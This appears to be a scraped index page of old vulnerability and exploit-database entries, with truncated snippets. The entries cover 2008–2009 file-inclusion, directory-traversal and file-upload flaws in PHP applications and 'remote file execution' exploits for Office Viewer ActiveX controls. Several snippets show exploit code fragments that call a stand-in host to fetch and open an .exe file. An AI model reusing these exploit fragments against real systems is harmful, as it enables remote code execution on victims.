Redaxscript 'language' Parameter Local File Include Vulnerability

Redaxscript is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to view and execute arbitrary local files in the context of the webserver process. This may aid in further attacks. Redaxscript 0.2.0 is...

iDB 'skin' Parameter Local File Include Vulnerability

iDB Internet Discussion Boards is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right...

Analysis of the iis6. 0 design flaws-vulnerability warning-the black bar safety net

Author:Ice-the origin0. s. t&L. S. T Description:articles have been published in hackers manual 0 8 0 5,reproduced please specify! Should be long time ago?, Oh, we should also remember that action-that is not filtered. And the asp of the drain sub. In 2 0 0 3 systems of iis6. 0 with our little...

PHPizabi 0.848b C1 HFP1-3 - Arbitrary File Upload

date"U"-300 43. 44. fnc"laneMakeToken", "file", $GET"id", array 45. "user.username" = me"username", 46. "file" = "system/cache/temp/".$filename, 47. ; 48. PHPizabi is prone to a vulnerability that lets remote attackers to upload and execute arbitrary script code. The uploaded file is saved into...

CVE-2008-6317

CVE-2008-6317 affects PHPMyGallery 1.5 beta. A directory traversal vulnerability exists in _conf/_php-core/common-tpl-vars.php where remote attackers can include and execute arbitrary local files via .. in the conf[lang] parameter. This is the explicit issue described in the CVE entry; no additio...

CVE-2008-6265

Directory traversal vulnerability in portfolio/css.php in Cyberfolio 7.12.2 and earlier allows remote attackers to include and execute arbitrary local files via a .. dot dot in the theme parameter...

CVE-2008-6083

Directory traversal vulnerability in header.php in TXTshop beta 1.0 allows remote attackers to include and execute arbitrary local files via a .. dot dot in the language parameter...

CVE-2009-0442

CVE-2009-0442 affects PHPbbBook 1.3 and 1.3h. The vulnerability is a directory traversal in bbcode.php via the l parameter, allowing an attacker to include and execute arbitrary local files by supplying a ".." path component. Root cause is improper validation of the l parameter leading to path tr...

CVE-2009-0423

CVE-2009-0423 describes a directory traversal vulnerability in the PHPPA (Php Photo Album) 0.8 BETA release. An attacker can exploit improper handling in index.php to cause local file inclusion via a .. (dot dot) in the preview parameter, enabling arbitrary local file access or execution. Impact ...

Update Protection against Symantec AppStream Client LaunchObj ActiveX Control Program Execution

A remote code execution vulnerability was reported in Symantec AppStream Client. The AppStream Client is part of a Software Virtualization Solution SVS which allows streaming of virtual applications to users in an enterprise environment using the AppStream Server. The vulnerability is due to...

PowerPoint Viewer OCX 3.1 File Execution

PowerPoint Viewer OCX v3.1 Remote File Execution Exploit Founded By : Cyber-Zone E-mail : [email protected] Home : WwW.Exploiter5.CoM GreetZ : Houssamix , Hussin X , JiKo , StaCk , str0ke , The5p3ctrum function Doit File = "http://test.com/file.exe" Cyb.OpenWebFileFile...

Excel Viewer OCX 3.2 File Execution

---------------------------------------------------------- Excel Viewer OCX 3.2 Remote File execution exploit ---------------------------------------------------------- ----------------------------------- By Mountassif Moad a.k.a Stack ----------------------------------- Excel Viewer OCX 3.2 Remo...

Office Viewer ActiveX Control 3.0.1 Remote File Execution Exploit

No description provided by source. =======================================================================================br Author: Houssamix br =======================================================================================br Office Viewer ActiveX Control v 3.0.1 Remote File execution...

Excel Viewer OCX 3.2 Remote File Execution Exploit

Exploit for unknown platform in category remote exploits ================================================== Excel Viewer OCX 3.2 Remote File Execution Exploit ================================================== ---------------------------------------------------------- Excel Viewer OCX 3.2 Remote...

PowerPoint Viewer OCX 3.1 Remote File Execution Exploit

No description provided by source. PowerPoint Viewer OCX v3.1 Remote File Execution Exploit Founded By : Cyber-Zone E-mail : [email protected] Home : WwW.Exploiter5.CoM GreetZ : Houssamix , Hussin X , JiKo , StaCk , str0ke , The5p3ctrum HTML BODY object id=Cyb...

Word Viewer OCX 3.2 Remote File Execution exploit

No description provided by source. HTML ---------------------------------------------------------- br Word viewer OCX V 3.2 Remote File execution exploitbr ---------------------------------------------------------- br -----------------------------------br By Mountassif Moad a.k.a Stack...

Excel Viewer OCX 3.2 - Remote Command Execution

Excel Viewer OCX 3.2 - Remote Command Execution ---------------------------------------------------------- Excel Viewer OCX 3.2 Remote File execution exploit ---------------------------------------------------------- ----------------------------------- By Mountassif Moad a.k.a Stack...

Word Viewer OCX 3.2 - Remote Command Execution

Word Viewer OCX 3.2 - Remote Command Execution ---------------------------------------------------------- Word viewer OCX V 3.2 Remote File execution exploit ---------------------------------------------------------- ----------------------------------- By Mountassif Moad a.k.a Stack...

PowerPoint Viewer OCX 3.1 - Remote Command Execution

PowerPoint Viewer OCX v3.1 Remote File Execution Exploit Founded By : Cyber-Zone E-mail : [email protected] Home : WwW.Exploiter5.CoM GreetZ : Houssamix , Hussin X , JiKo , StaCk , str0ke , The5p3ctrum function Doit File = "http://test.com/file.exe" Cyb.OpenWebFileFile milw0rm.com 2009-01...

Word Viewer OCX 3.2 - Remote Command Execution

---------------------------------------------------------- Word viewer OCX V 3.2 Remote File execution exploit ---------------------------------------------------------- ----------------------------------- By Mountassif Moad a.k.a Stack ----------------------------------- Word viewer OCX V 3.2...